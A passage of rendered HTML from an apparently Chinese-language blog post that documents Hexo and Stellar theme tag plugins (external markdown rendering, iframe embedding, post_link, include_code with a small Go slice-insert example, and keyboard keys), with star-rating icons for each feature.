1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="4-&#x6E32;&#x67D3;&#x5916;&#x90E8;-md-&#x6587;&#x4EF6;">4. &#x6E32;&#x67D3;&#x5916;&#x90E8; md &#x6587;&#x4EF6;</h4><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{% md %}</span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">{% folding %}</span><br><span class="line">{% md https://github.com/Cactusinhand/images<span class="emphasis">_repo/blob/main/README.md %}</span></span><br><span class="line"><span class="emphasis">{% endfolding %}</span></span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><details class="tag-plugin colorful folding"><summary></summary><div class="body"><div class="ds-mdrender" src="https://github.com/Cactusinhand/images_repo/blob/main/README.md" id="md_1"></div></div></details><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h3 id="&#x5176;&#x5B83;">&#x5176;&#x5B83;</h3><h4 id="1-iframe-&#x5185;&#x8054;">1. iframe &#x5185;&#x8054;</h4><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">### iframe</span></span><br><span class="line"><span class="code">``` md</span></span><br><span class="line"><span class="code">&#x5185;&#x8054;&#x53E6;&#x5916;&#x4E00;&#x4E2A; iframe&#xFF1A;</span></span><br><span class="line"><span class="code">{% iframe web_url %}</span></span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{% iframe https://www.runoob.com/tags/tag-iframe.html %}</span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><iframe src="https://www.runoob.com/tags/tag-iframe.html" width="100%" height="300" frameborder="0" loading="lazy" allowfullscreen></iframe><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="2-post-link-&#x94FE;&#x63A5;&#x7AD9;&#x5185;-post">2. post_link &#x94FE;&#x63A5;&#x7AD9;&#x5185; post</h4><blockquote><p>&#x6CE8;&#x610F;&#xFF1A;&#x8FD9;&#x662F; Hexo &#x81EA;&#x8EAB;&#x7684;&#x8BED;&#x6CD5;&#xFF0C;&#x4E0D;&#x662F; Stellar &#x72EC;&#x6709;&#x7684;</p></blockquote><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&#x94FE;&#x63A5;&#x5230;&#x53E6;&#x5916;&#x4E00;&#x7BC7; post&#xFF1A;</span><br><span class="line">{% post<span class="emphasis">_link filename %}</span></span><br><span class="line"><span class="emphasis">{% post_</span>link filename [title] [escape] %}</span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{% post<span class="emphasis">_link git-bundle  %}</span></span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><a href="/posts/32c910d1.html" title="git bundle &#x683C;&#x5F0F;&#x53CA;&#x5E94;&#x7528;">git bundle &#x683C;&#x5F0F;&#x53CA;&#x5E94;&#x7528;</a><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="3-include-code">3. include_code</h4><blockquote><p>&#x6CE8;&#x610F;&#xFF1A;&#x8FD9;&#x662F; Hexo &#x81EA;&#x8EAB;&#x7684;&#x8BED;&#x6CD5;&#xFF0C;&#x4E0D;&#x662F; Stellar &#x72EC;&#x6709;&#x7684;</p></blockquote><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">{% include<span class="emphasis">_code [title] [lang:language] [from:line] [to:line] path/to/file %}</span></span><br><span class="line"><span class="emphasis"></span></span><br><span class="line"><span class="emphasis">from &#x53C2;&#x6570;&#x4ECE; 1 &#x5F00;&#x59CB;</span></span><br></pre></td></tr></table></figure><p>&#x4EE3;&#x7801;&#x6587;&#x4EF6;&#x9ED8;&#x8BA4;&#x4F4D;&#x7F6E;&#x5728;<code>source/downloads/code/</code>&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;<code>_config.yml</code>&#x4E2D;&#x7684;<code>code_dir</code>&#x6765;&#x6307;&#x5B9A;&#xFF0C;&#x9ED8;&#x8BA4;&#x662F;&#x6307;&#x5B9A;&#x4E3A;<code>downloads/code</code>&#x3002;</p><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{% include<span class="emphasis">_code lang:go from:1 to:50 main.go %}</span></span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p> <figure class="highlight go"><figcaption><span>main.go</span><a href="/downloads/code/main.go">view raw</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">&quot;fmt&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> T <span class="type">int16</span></span><br><span class="line"><span class="keyword">type</span> Pt <span class="keyword">struct</span>{ X, Y <span class="type">int</span> }</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line"><span class="keyword">var</span> a = []<span class="type">int</span>{<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>}</span><br><span class="line"><span class="comment">// insert 0 at index 1</span></span><br><span class="line">a = SliceInsert(a, <span class="number">1</span>, <span class="number">0</span>)</span><br><span class="line"><span class="comment">// insert -1 at index 2</span></span><br><span class="line">a = SliceInsert(a, <span class="number">2</span>, <span class="number">-1</span>)</span><br><span class="line"><span class="comment">// [1 0 -1 2 3]</span></span><br><span class="line">fmt.Println(a)</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> a1 = []<span class="type">string</span>{<span class="string">&quot;1&quot;</span>, <span class="string">&quot;2&quot;</span>, <span class="string">&quot;3&quot;</span>}</span><br><span class="line">a1 = SliceInsert(a1, <span class="number">1</span>, <span class="string">&quot;0&quot;</span>)</span><br><span class="line">a1 = SliceInsert(a1, <span class="number">2</span>, <span class="string">&quot;-1&quot;</span>)</span><br><span class="line">fmt.Println(a1)</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> a2 = []Pt{{<span class="number">1</span>, <span class="number">2</span>}, {<span class="number">3</span>, <span class="number">4</span>}}</span><br><span class="line">a2 = SliceInsert(a2, <span class="number">1</span>, Pt{<span class="number">0</span>, <span class="number">0</span>})</span><br><span class="line">a2 = SliceInsert(a2, <span class="number">2</span>, Pt{<span class="number">-1</span>, <span class="number">-1</span>})</span><br><span class="line">fmt.Println(a2)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// SliceInsert insert value at index in a</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">SliceInsert</span>[<span class="title">T</span> <span class="title">any</span>]<span class="params">(a []T, index <span class="type">int</span>, value T)</span></span> []T {</span><br><span class="line"><span class="keyword">return</span> <span class="built_in">append</span>(a[:index], <span class="built_in">append</span>([]T{value}, a[index:]...)...)</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="4-keyboard">4. keyboard</h4><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{% kbd A %} {% kbd B %} {% kbd C %}</span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><kbd>A</kbd> <kbd>B</kbd> <kbd>C</kbd><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path 